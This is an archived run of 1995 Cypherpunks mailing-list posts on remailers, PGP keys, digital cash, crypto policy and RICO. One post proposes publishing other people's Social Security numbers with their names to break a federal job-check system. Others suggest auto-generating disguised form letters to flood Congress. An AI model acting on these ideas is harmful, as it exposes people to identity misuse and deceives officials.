> real reason for the name), only the assets imputed to the illegal act can
> be seized. Thus, boats, factories, houses, etc., that are imputed
> (believed, claimed) to have been bought partially or wholly from funds from
> illegal acts can be seized.
>
Assets directly traceable to criminal activity can be forfeited in a 
civil proceeding.  "Substitute assets" (when the assets obtained 
directly from the criminal activity have been dissipated or just can't be 
found) can be forfeited in a criminal forfeiture (that is, as part of an 
indictment...).
 
> Civil penalties are another matter. If you're charged with distributing
> something illegal and a fine of $250,000 is levied, then you may have to
> sell everything you own to pay it, but it's not a RICO seizure.
> 
> --Tim May
> 
EBD





From loki at obscura.com  Sun Jul 16 23:25:43 1995
From: loki at obscura.com (Lance Cottrell)
Date: Sun, 16 Jul 95 23:25:43 PDT
Subject: Mixmaster@obscura.com back with new keys.
Message-ID: <199507170624.XAA12232@obscura.com>


Mixmaster at obscura.com is back. Obscura crashed last weekend, taking all
data with it. The remailer is running again but the secret keys were
lost.

This remailer is running Mixmaster 2.0.1 and the latest Ghio type1 remailer
for cypherpunk messages.

Here is the mixmaster key:

mix mixmaster at obscura.com db91418edac3a4d7329feaee0b79c74f 2.0.1

-----Begin Mix Key-----
db91418edac3a4d7329feaee0b79c74f
258
AATL25WGQY5CMM0/xBjYtuN6IT75h+aBQwwKqZZc
isOrqdsl8HWAzARrB0iAtcr34c2qqPBzSRNa5UE8
d3jOYu/wp9K9M5abUSRogcDl7gkPlqxc+e72SdKd
2Gdgib8VDGVLpJdaPk4uSY/pkmsYB30OaQH3W8dU
PPciTvSJKAYcTQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----

and here is the pgp key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQBtAzAGIaQAAAEDAJpPdFihCI1Cfpc8njkqOSma/GVvS5nodpTnnff3B3RuZWJN
bEvxC3s8TATo6f5JdXqOkZBXQCK+aHke4LKw+MGNNXBYeWH60NZ0IihVThHeyYqL
f4ZQNJHlMlFfDrQEgQAFEbQqTWl4bWFzdGVyIFJlbWFpbGVyIDxtaXhtYXN0ZXJA
b2JzY3VyYS5jb20+iQEVAwUQMAnzn/Pzr81BVjMVAQEzRQgAk3ansqZb2y8orEim
0igHJpA22J15l6tu5ZihHpnBbXJEqdDKvsp6P/LG+ZDBXa8bGGg7RxZ1xXFqVWSO
kkv9iqcoMWB14VHzC5A6MckhkpUGqPt+HMyUEW/JnGzZ202Z4aaVXOjXMsLf5jo1
VIp94/8nQen+QJThpJLmaNGgl8z60skyXzbtoz93Wy6IZAQYYImeswSrYukO1wC6
FXy0/a3AkDjd7mJiCtA2m7tTxCZr2EBlSu4VemG1APmCTjh2f/wyXNU1iXmTDb7N
QcplTAwpROrdvtBeslE+bzYqWZqipcFHHyW9W6YUVIr18cojt6k5GEVzI9WCEgAO
v+kA1YkAlQMFEDAJ82xVZJN3Wse4ZQEBc7gD/izVs3+jXs3Ze+U+ZVmfO6guUcMU
RB4VsNS6n5BHRm6KS7qXCXxHYc0tehkuHVuGD0riSaS232P0NNmp1D4dzXtUVQCY
BZfMbWX4EooqHGGRAoqPGZuke8pZYfVGARUKFQB8+zqKGhCum8z1sbUPUgzR5bie
Un9sktwsWEJEIcNoiQB1AwUQMAnxfeUyUV8OtASBAQF/5gL+OksEqwyBE+pUZCmN
1AXAmKlRxkd6gybJJl8lXOOa4KVGmSEroYW8pac+TlraJb6j90LvbqJ+7PHuMtHT
84uRna183HDqKOd6NMdwTTimE6ZGueGBB7mwIysaTU8oCZ66
=0s+r
-----END PGP PUBLIC KEY BLOCK-----


   -Lance

-- 
Lance Cottrell   loki at obscura.com
PGP 2.6 key available by finger or server.
Mixmaster, the next generation remailer, is now available!
http://obscura.com/~loki/Welcome.html or FTP to obscura.com

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche





From martin at mrrl.lut.ac.uk  Mon Jul 17 00:35:40 1995
From: martin at mrrl.lut.ac.uk (Martin Hamilton)
Date: Mon, 17 Jul 95 00:35:40 PDT
Subject: Free The World Web Server project.. :)
In-Reply-To: <8AD5238.000300015E.uuout@famend.com>
Message-ID: <199507170735.IAA06713@gizmo.lut.ac.uk>



MONTY HARDER writes:

| Anyone who has read MAD Magazine could put such together. As an added
| bonus, use variable margin settings, and none of the letters would be
| exactly the same. Appropriate Imail => FAX software on a puter in DC
| (local call that way) with the phone number of the sender filled in on
| the top line for ID (izzat legal?) so it doesn't look like a form letter
| at all.

Plus - choose the fonts & point sizes at random too ? :-)

Martin







From wilcoxb at nagina.cs.colorado.edu  Mon Jul 17 00:39:07 1995
From: wilcoxb at nagina.cs.colorado.edu (Bryce Wilcox)
Date: Mon, 17 Jul 95 00:39:07 PDT
Subject: ECM list.
In-Reply-To: <9507170051.AA06498@grape-nuts>
Message-ID: <199507170738.BAA25016@nagina.cs.colorado.edu>


-----BEGIN PGP SIGNED MESSAGE-----

>  For example, you might be holding $85.73 in digicash (having played the 
> various slot machine pages, maybe bought a sky photograph from the Bradford
> telescope).


That's just about right.


>  What would it take for you to buy more digicash?  How about to sell it?


Right now I am thinking of e$ as a "collectors item" or a fun thing to
brag about in some distant year.  I'm offering US$1.00 for e$15.00, but
I will quit offering that price once I run out of US$ or decide that I
have enough e$!


I think that the ecm market is probably composed of very few people who
mostly want to buy, and is therefore not a high-volume market!  If the ecm
market got a link from the DigiCash home page (which I'm sure it could do)
then you would probably get lots of people who just got their free e$100.00
and who are willing to sell part of it after having experienced the wonders
of the slot machines and the "e$0.01-per-move tic-tac-toe" games.
  Could we set up a WWW version of the ecm market, listing latest offers
to anyone with a WWW browser?  Things might really pick up-- at least for
us buyers!


I'm also considering other strategies for gaining e$--  offering a service
on the DigiCash "cybershops" page, or just going to all my e-mail using
friends, showing them how to get their free e$100.00, and then begging them
to give me half of it.  (Finder's fee?  Friendly gift?)


Possibly I shouldn't have posted the above and given my e$-collecting
competitors the idea, because eventually DigiCash is going to quit giving
out freebies!  Hopefully my friends will get on the ball and acquire their
freebies before that point!  :-)   [mental note to add some of said friends
to the Cc: line...]


Bryce
P.S.  Oh great.  My "friends" are asking for the $1.00 for e$15.00 deal...


signatures follow
 /=============------------
  Bryce Wilcox, Programmer               [THIS SPACE FOR RENT]
  bryce.wilcox at colorado.edu
  ------------=============/    E-mail is between you and me-- use PGP!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.1

iQCVAwUBMAoTRZCUT4gUihHlAQEBMgQAueueOvkxSsVRBS20k49zUhOr8wa/CKcD
vqsKLhHoeWhrXuYMKV5KTGgQ86TLwiu5n1C0fjomcJ+86UT1Py09i+yfeBj956hH
sMFoGHgu4jKtQPZ94FsmsCzfDXPF6htnuOnQYjSrAydckomZoiQfPICDFRGeiSTp
FbXeDMRMrMs=
=1z8A
-----END PGP SIGNATURE-----




From stewarts at ix.netcom.com  Mon Jul 17 01:29:13 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 01:29:13 PDT
Subject: Mods to Dining Cryptographers: legal questions...
Message-ID: <199507170827.BAA12420@ix6.ix.netcom.com>


At 10:02 AM 7/15/95 -0500, Phil Fraering wrote:
>I'm sorry if I was a little mysterious about my reference to
>another use or mode of a DC-net; I'd _love_ to tell the rest of
>you flat-out, and put the idea in the public domain, but I'm
>not sure I _CAN_.
.....
>Are there any patents on Dining-Cryptographers networks that could
>interfere with the placing in the public domain, or the patenting, of
>an improvement to the network system?

Case 1 - you want to be able to patent your stuff yourself.  Case 2 - you don't.
For Case 1, I can't help you much, but US patent law lets you apply for a
patent on something within one year of publication (most other countries don't
allow that - if you publish before applying, you don't get to patent it.)
So publish.  For Case 2, publish.  You could get fancy and use surety.com's
date-stamping service to keep a copy of what and when you published.

If the material you've developed was already invented, and patented, 
by someone else, it's still ok to publish it, you just can't use the stuff
(except for research, etc.)  (I've been burned by this one; I _thought_ my
idea seemed obvious enough that somebody else should have already thought of
it first :-)  So if you're trying to put something in the public domain,
you may want to put a footnote in it saying that you're not making any
claims about other people's previous patent applications, etc.

So, anyway, what's your new idea?
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 01:29:17 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 01:29:17 PDT
Subject: Deployment
Message-ID: <199507170827.BAA12427@ix6.ix.netcom.com>


> > So, anyone want to volunteer to port Privtool to Windows ?
> Uh, pardon my ignorance, but what is privtool, and why is it
> a good thing to port it to windows?
> (As compared to the task of integrating PGP into microsofts
> mail tool.)

It's an open-system mail tool resembling Sun's mailtool with PGP support added.
Open-system tools are one of those vanguard things :-)  
(So are convenient GUI-development tools.)
I no longer have a nearby Sun machine to play on, so I haven't played with it,
but if it's got a well-done interface it's worth porting or stealing concepts
from to include in other systems.  I've heard that Microsoft's new mail tools
are far less brain-damaged than the Microsoft Mail I've grown to know and hate,
which assumes any message that's more than a few lines will be an attached
document with maybe some optional intro and leftover mail headers,
and chokes on messages with more than 30K of text in the body (choking badly
on more than 64K).  (Apparently, part of the reason for this evil is the fault
of Visual Basic and/or Visual C++, which are convenient GUI development
tools...)

On the other hand, integrating it into Free Eudora for Windows would be
pleasant,
if that's doable (I forget it source is available.) 
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 01:29:41 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 01:29:41 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507170827.BAA12413@ix6.ix.netcom.com>


At 01:59 PM 7/16/95 +0100, Andrew Spring wrote:
>RICO question:  i thought that the idea of RICO is to confiscate assets of
>racketeers that are derived from criminal activities.  PGP and remailer
>software is distributed free.  so would RICO seizures even apply (yes I
>know this doesnt' always stop the FBI)?

You _were_ using that software on a _computer_ weren't you?  Guess it's 
one of your racketeer's tools, so we'll have to take it for ourselves, er, um,
for evidence and protection of national security....
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 01:30:35 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 01:30:35 PDT
Subject: A Chronology on crypto bans
Message-ID: <199507170827.BAA12430@ix6.ix.netcom.com>


At 04:08 PM 7/16/95 -0400, Dave Banisar wrote:
>Someone asked why is there such a flurry recently on banning crypto in
>recent months. This is not a recent issue. There have been almost non-stop
>attempts for the last 15 years.

True, though there have been more and louder calls for banning crypto as
it becomes more widely used, and as the Internet and electronic commerce
make its use more relevant.  The number of cats running around outside of bags
has been increasing, so the effort of the politicians to herd them back in
has become more and more noticeable.  

A lot of it has been good public relations but the Good Guys as well -
back in the late 70s, when I started following it, crypto was mostly for spooks,
bankers, and academic math nerds*; PGP and the government's persecution of Phil
have made a lot of people aware that the stakes are high and the Bad Guys
are serious, 
and the Clipper Chip sounded enough like "The Feds want to tap my phone"
that the general public could understand, a bit, that this was something
that affected them...

It's also been technology - real crypto needs computers, and computers have
gone from million-dollar room-fillers that you might use at work or university
to appliances you can buy at WalMart, like tv sets, which your kids use for
school,
if you don't count game machines, which your kids can buy at K-mart...
Suddenly a third of the country's got a machine they can do real crypto on,
and for 10 bucks a month they can be on a world-wide email network.
And it's mostly the _rich_ third of the country, who might want to do their
home banking somewhere a bit less taxing than before.

Oh, yeah, there's also drugs - folks might want to use the Home Shopping
Internet
for more than just fake jewelry :-)

* at the time, I was an academic math nerd designing banking networks
at the phone company, and my department also did studies for spooks...
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From jya at pipeline.com  Mon Jul 17 03:58:13 1995
From: jya at pipeline.com (John Young)
Date: Mon, 17 Jul 95 03:58:13 PDT
Subject: NSA and NatSec Looks
Message-ID: <199507171058.GAA07387@pipe1.nyc.pipeline.com>



There's a pretty good recent overview of NSA -- history, 
organization, operations and, best, facilities -- at:


     URL: http://www.fas.org/pub/gen/fas/irp/nsa/


This is part of the Federation of American Scientists (FAS) web 
site, cited here by Jim Gillogly in connection with the VENONA 
papers.


There are links to a bounty of other information on national 
security and governmental secrecy.


Among many sweetmeats, the homepage on "Cyberstrategy" may be 
of interest (John Pike's project):


     URL: http://www.fas.org/pub/gen/iswg/cyberstr.html








From pgf at tyrell.net  Mon Jul 17 05:57:23 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Mon, 17 Jul 95 05:57:23 PDT
Subject: Here it is; bi-directional dining cryptographers
In-Reply-To: <C189311569@real3.realtime.co.za>
Message-ID: <199507171252.AA14868@tyrell.net>


Andrew, in the longer version of the description, I postulated that
the data broadcast by Alice and Bob would be compressed and without
headers; I was hoping that would be enough to defeat any likely
cryptanalysis.

Hmm... maybe some other format.

Phil





From pgf at tyrell.net  Mon Jul 17 05:58:25 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Mon, 17 Jul 95 05:58:25 PDT
Subject: Here it is; bi-directional dining cryptographers
In-Reply-To: <C189311569@real3.realtime.co.za>
Message-ID: <199507171253.AA14941@tyrell.net>


BTW, they're not added together per se; they're XOR'd together.
Does this make a difference?

Phil





From raph at CS.Berkeley.EDU  Mon Jul 17 06:50:38 1995
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 17 Jul 95 06:50:38 PDT
Subject: List of reliable remailers
Message-ID: <199507171350.GAA13217@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail, which is available at:
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/premail/premail-0.33.tar.gz

   For the PGP public keys of the remailers, as well as some help on
how to use them, finger remailer.help.all at chaos.taylored.com

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"vox"} = "<remail at vox.xs4all.nl> cpunk pgp. post";
$remailer{"avox"} = "<anon at vox.hacktic.nl> cpunk pgp post";
$remailer{"extropia"} = "<remail at extropia.wimsey.com> cpunk pgp special";
$remailer{"portal"} = "<hfinney at shell.portal.com> cpunk pgp hash";
$remailer{"alumni"} = "<hal at alumni.caltech.edu> cpunk pgp hash";
$remailer{"bsu-cs"} = "<nowhere at bsu-cs.bsu.edu> cpunk hash ksub";
$remailer{"rebma"} = "<remailer at rebma.mn.org> cpunk pgp. hash";
$remailer{"c2"} = "<remail at c2.org> eric pgp hash reord";
$remailer{"penet"} = "<anon at anon.penet.fi> penet post";
$remailer{"ideath"} = "<remailer at ideath.goldenbear.com> cpunk hash ksub reord";
$remailer{"hacktic"} = "<remailer at utopia.hacktic.nl> cpunk mix pgp hash latent cut post ek";
$remailer{"flame"} = "<remailer at flame.alias.net> cpunk mix pgp. hash latent cut post ek reord";
$remailer{"rahul"} = "<homer at rahul.net> cpunk pgp hash filter";
$remailer{"syrinx"} = "<syrinx at c2.org> cpunk pgp reord mix post";
$remailer{"tower"} = "<remailer at tower.techwood.org> cpunk pgp post";
$remailer{"ford"} = "<remailer at bi-node.zerberus.de> cpunk pgp";
$remailer{"hroller"} = "<hroller at c2.org> cpunk pgp hash mix cut ek";
$remailer{"vishnu"} = "<mixmaster at vishnu.alias.net> cpunk mix pgp hash latent cut ek ksub reord";
$remailer{"crown"} = "<mixmaster at kether.alias.net> cpunk pgp hash latent cut mix ek reord";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"spook"} = "<remailer at spook.alias.net> cpunk mix pgp hash latent cut ek";
$remailer{"gondolin"} = "<mixmaster at gondolin.org> cpunk mix hash latent cut ek ksub reord";
$remailer{"rmadillo"} = "<remailer at armadillo.com> mix cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.

Use "premail -getkeys pgpkeys at kiwi.cs.berkeley.edu" to get PGP keys
for the remailers. Fingering this address works too.

21 Apr 1995: The new version of premail (0.33) is out, with direct
posting, perl5 and better MH support, and numerous bug fixes.

Last ping: Mon 17 Jul 95 6:00:03 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hacktic  remailer at utopia.hacktic.nl       *+*+****+***    14:18  99.99%
rmadillo remailer at armadillo.com           +++++++++++*    49:27  99.99%
spook    remailer at spook.alias.net         ********--**  1:32:17  99.99%
flame    remailer at flame.alias.net         ++++++++-+++    57:13  99.99%
syrinx   syrinx at c2.org                    -------+---   1:44:52  99.99%
replay   remailer at replay.com              *+*+**+*+***    13:59  99.95%
vox      remail at vox.xs4all.nl             -..--.-.---- 12:41:56  99.99%
bsu-cs   nowhere at bsu-cs.bsu.edu           .**+*#*###*-    54:07  99.90%
crown    mixmaster at kether.alias.net        --------+-   1:12:09  99.89%
portal   hfinney at shell.portal.com         *****#*#####     2:18  99.82%
alumni   hal at alumni.caltech.edu           *****#*#*#*#     3:02  99.82%
vishnu   mixmaster at vishnu.alias.net       -**+** ++***    20:02  98.62%
gondolin mixmaster at gondolin.org           -**-**++*---  1:17:43  98.56%
c2       remail at c2.org                     -*++++++-++    42:52  98.03%
extropia remail at extropia.wimsey.com       -..--.-_ --  14:50:37  97.80%
ideath   remailer at ideath.goldenbear.com   _ --......   17:04:28  96.35%
ford     remailer at bi-node.zerberus.de            #-#+#  1:52:55  96.09%
hroller  hroller at c2.org                   ++***# +*-++    12:53  94.98%
penet    anon at anon.penet.fi               --+++-- --++  2:59:39  92.16%
rebma    remailer at rebma.mn.org            -_++_.-+--+  15:25:46  91.39%
rahul    homer at rahul.net                  *++*+++*##+-    10:33  99.94%
tower    remailer at tower.techwood.org                       6:44   1.46%

For more info: http://www.cs.berkeley.edu/~raph/remailer-list.html

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From frissell at panix.com  Mon Jul 17 07:42:11 1995
From: frissell at panix.com (Duncan Frissell)
Date: Mon, 17 Jul 95 07:42:11 PDT
Subject: Proposed SS#/Federal Job Licensing DOS Attack
Message-ID: <199507171441.KAA02622@panix.com>


On another subject entirely...

I have naturally been concerned about the Feds' proposal to set up
a national job licensing system.  In order to protect us from
hordes of illegals, they have suggested that employers be required
to check SS#-True Name matches before employment could begin.

This amounts to requiring federal permission for the 55 million 
annual job changes.  Initially, it is supposed to be restricted to
checking SS# validity, name match, and non multiple use.  Later (as with
driver's licenses) they will add restrictions having to do with tax
compliance, child support compliance, library fine compliance, etc.
After all, we wouldn't want tax evading, deadbeat dad, library
scofflaws working in Amerika, would we?

This suggests am interesting Denial of Service (DOS) attack.  If
you published your own or others' SS#-True Name pairs on a public
forum (currently completely legal BTW), multiple use could be 
encouraged, the TrueNames would become unemployable, and interesting
litigation would result.  If done enough, systemic breakdown would
occur.

I am anxious to see the regs (they are just at the talking stage) to
see how they handle "exceptions" like thus.

DCF

"Who in spite of the fact that he has changed jobs since November 1986, has
yet to fill out an I-9 form.  He *loves* contract employment." 






From dursi at lola.phy.QueensU.CA  Mon Jul 17 08:00:43 1995
From: dursi at lola.phy.QueensU.CA (Jonathan Dursi)
Date: Mon, 17 Jul 95 08:00:43 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <9507171456.AA16986@duke>


-----BEGIN PGP SIGNED MESSAGE-----

> >  Expecially if the form letter generated would be randomly selected
> >from parallel word streams.  For example:
> [...]
> >  You get the idea.

> Rather than spend five minutes writing something on your own you'd end
> up something that looks totally fake.  I believe that what is going on
> would be discerned by a staffer in moments. 

Well, it would be just as easy (although, admittedly, somewhat less
convenient to the users) to have the web page such that the users could
type in the letter, with some ``suggested text'' (perhaps randomly 
generated as above), perhaps even as the default; then it's just a matter
of editing a few sentances, and maybe adding a paragraph or two...  then
click, and it's off.

It wouldn't be as convenient as just-click-and-a-letter-will-be-sent,
but it's still more convenient than having to write the letter yourself,
which means that it'll generate more traffic...

	- Jonathan
- ---
Jonathan Dursi               |  "Never attribute to malice 
dursi at astro.queensu.ca       |   what can adequately be explained 
                             |   by stupidity."  - Hanlon's Razor

-----BEGIN PGP SIGNATURE-----
Version: 2.6.i

iQBVAgUBMAp5/BJH45PFiKyNAQGYJQH/Uo3k45i73U8qQA1/y5LeXPso07LAPCwo
5i0xkFudoK2/Q5H7Gm7xmygNXIkckhuK/X/kJvdCf2khRluP8y/c7w==
=jwye
-----END PGP SIGNATURE-----




From cme at TIS.COM  Mon Jul 17 08:09:20 1995
From: cme at TIS.COM (Carl Ellison)
Date: Mon, 17 Jul 95 08:09:20 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.D-G.3.91.950716003841.26405B-100000@dg.thepoint.net>
Message-ID: <9507171457.AA09146@tis.com>


>Date: Sun, 16 Jul 1995 00:41:03 -0400 (EDT)
>From: Brian Davis <bdavis at thepoint.net>
>
>On Fri, 14 Jul 1995, Carl Ellison wrote:
>...
>>   The last
>> $9M (I believe it was) went to buying up AT&T DES phones to be made into
>> Clipper phones.  Of course, the conversion hasn't happened yet and the DES
>> phones are sitting in a warehouse someplace -- but the $9M fund went to
>		^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>Nope.  There is one right here in my office.  And it makes me feel so 
>safe and secure.

The $9M didn't buy *all* of the AT&T phones.  TIS has 2 of them.  Bruce
Schneier has 1.  Whit Diffie has one that I've seen.

However, all the ones it did buy are apparently in a warehouse, gathering
dust.

 - Carl

+--------------------------------------------------------------------------+
|Carl M. Ellison    cme at acm.org    http://www.clark.net/pub/cme/home.html  |
|PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2  |
|  ``Officer, officer, arrest that man!  He's whistling a dirty song.''    |
+----------------------------------------------------------- Jean Ellison -+






From talon57 at well.com  Mon Jul 17 08:34:21 1995
From: talon57 at well.com (Brian D Williams)
Date: Mon, 17 Jul 95 08:34:21 PDT
Subject: "Zodiac"
Message-ID: <199507171534.IAA22791@well.com>



 Neal Stephenson's  novel "Zodiac" (an Eco-thriller) has been re-
released in a new paperback edition. I loved it!

ObCrypto: you'll have to read the book to find out...

Ok....actually none, but Neal's fans here on the list will enjoy
the book!

Flame away....

Brian D Williams
Cypherpatriot

" I'm not a spin Doctor, but I play one on the Internet."






From frissell at panix.com  Mon Jul 17 08:39:14 1995
From: frissell at panix.com (Duncan Frissell)
Date: Mon, 17 Jul 95 08:39:14 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507171504.LAA07652@panix.com>


At 05:18 AM 7/15/95 PDT, Jim Gillogly wrote:
>
>> silly at ugcs.caltech.edu ((me)) writes:
>> Help!   What does GAK stand for?  I've seen it a billion times,
>
>Government Access to Keys; also seen as GACK (Crypto Keys).  This is more
>descriptive and accurate than calling it Key Escrow, since escrow is for
>the benefit of the parties involved in a transaction. 

Or we might use Sandy Sandfort's suggestion "key forfeiture" derived from asset forfeiture.

DCF

"Isn't it peculiar how nature doth contrive that every boy and every girl who's born into this world alive is either a little libertarian or else a little goddamn fascist bastard." -- Just getting it out of my system before Exon.





From tcmay at sensemedia.net  Mon Jul 17 09:05:25 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Mon, 17 Jul 95 09:05:25 PDT
Subject: Automated Rant Generators and Letter Generators
Message-ID: <ac2fd6eb19021004056b@[205.199.118.202]>


At 7:35 AM 7/17/95, Martin Hamilton wrote:
>MONTY HARDER writes:
>
>| Anyone who has read MAD Magazine could put such together. As an added
>| bonus, use variable margin settings, and none of the letters would be
>| exactly the same. Appropriate Imail => FAX software on a puter in DC
>| (local call that way) with the phone number of the sender filled in on
>| the top line for ID (izzat legal?) so it doesn't look like a form letter
>| at all.
>
>Plus - choose the fonts & point sizes at random too ? :-)

Yes, make your letters to Congressmen look like ransom notes...it really
gets their attention!

Seriously, I have no doubt that the next generation of "direct mail" will
be geared toward automatic generation of personalized letters, using
various natural language parser generators (a la the "rant generator" many
of us have used), variable fonts and margins, and so on.

This will further "flood the channel" and will ultimately make letter
writing mostly meaningless. IN my case, I skip most letters to the
editor--at least for local newspapers and weeklies--as they look to be
automatically written ("I am outraged at your article about converting
Lighthouse Point into a nuclear-powered whale-packing plant...").

Cypherpunks could probably have an effect on hastening this "denial of
service" attack on the efficacy of letter-writing by releasing an
easy-to-use package that does all this letter writing at the click of a
button....just type in some key words, for the topics, and it does the
rest.

An interesting project, actually.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From danisch at ira.uka.de  Mon Jul 17 09:07:25 1995
From: danisch at ira.uka.de (Hadmut Danisch)
Date: Mon, 17 Jul 95 09:07:25 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <9507171606.AA10619@elysion.iaks.ira.uka.de>


I am not familiar with american laws and have two questions:

1. If the bill becomes law, how can someone who violates it be
punished? 


2. Does someone who publishes software which encodes or encrypts 
(ASCII is a code, isn't it?) have to prove that he has provided the
universal decoder to the state or does the state have to prove that he
didn't do? 

In the former case, does he get any receipt from the department of
justice and what does the receipt say (1.3MByte of software
received...)?

In the latter case, how do they want to prove he didn't? If he gave
just a big 

  for(i=0;;i++) try_key(i);

how do they want to prove this doesn't work? There is a certain
problem in theory. I don't know the english name, but in german it is
called the 'halt problem'. It is not a simple task to prove that a
certain turing machine program doesn't stop or doesn't find a solution of a
given problem. How do they want to prove that the program provided to
the department of justice doesn't find the key just within the next 10
seconds?

Hadmut






From Michael at umlaw.demon.co.uk  Mon Jul 17 09:26:13 1995
From: Michael at umlaw.demon.co.uk (Michael Froomkin)
Date: Mon, 17 Jul 95 09:26:13 PDT
Subject: Root Causes
Message-ID: <2448@umlaw.demon.co.uk>


Jim didn't take my Con Law I course.

In message <199507161819.OAA06090 at bb.hks.net> Jim Ray writes:
[cuts throughout]
> 
> Amendment IX -- "The enumeration in the Constitution of certain rights
> shall not be construed to deny or disparage others retained by the people."
                                                      ^^^^^^^ 
> [The right to write code was among many rights NOT enumerated.]
> 

Very hard to argue that the right to write code (as opposed to, 
say, the right to write in code) existed in the late 18th 
century; hence it is hard to argue that it could be "retained" 
today.  

Assuming that the ninth amendment has, or could have, teeth, it 
is unlikely to go beyond rights existing or closely analogous to 
those held by "the people" [free white males, more likely] at 
the time of the amendment's ratification.  Just as well if you 
think about it carefully.

-- 
Michael Froomkin                   until Aug 6: michael at umlaw.demon.co.uk
U.Miami School of Law                                     London, England
mfroomki at umiami.ir.miami.edu <-- this will still find me
PO Box 248087 Coral Gables, FL 33124-8087     Rain. Sun. Rain. Sun. Rain.





From joelm at eskimo.com  Mon Jul 17 09:39:26 1995
From: joelm at eskimo.com (Joel McNamara)
Date: Mon, 17 Jul 95 09:39:26 PDT
Subject: Windows secret-sharing
Message-ID: <199507171638.JAA14534@mail.eskimo.com>


I just uploaded a user-friendly, Windows front-end to Hal Finney's SECSPLIT.EXE (based on Shamir's secret-sharing) called Secret Sharer.  The interface supports splitting and restoring files or passphrases.

Nothing fancy, but a simple solution for Windows users who want to do their own key (or whatever) escrow.

Secret Sharer is freeware, and is available from either:

http://www.eskimo.com/~joelm
ftp.eskimo.com /joelm/secshare.zip

I'm probably being over-cautious, but because of ITAR, SECSPLIT.EXE is not included in the ZIP file.  FTP sites for downloading are listed in the docs though.

Comments, bug reports, etc. appreciated before I announce to the relevant newsgroups.

Joel McNamara
joelm at eskimo.com - http://www.eskimo.com/~joelm for PGP key 






From sdw at lig.net  Mon Jul 17 10:18:29 1995
From: sdw at lig.net (Stephen D. Williams)
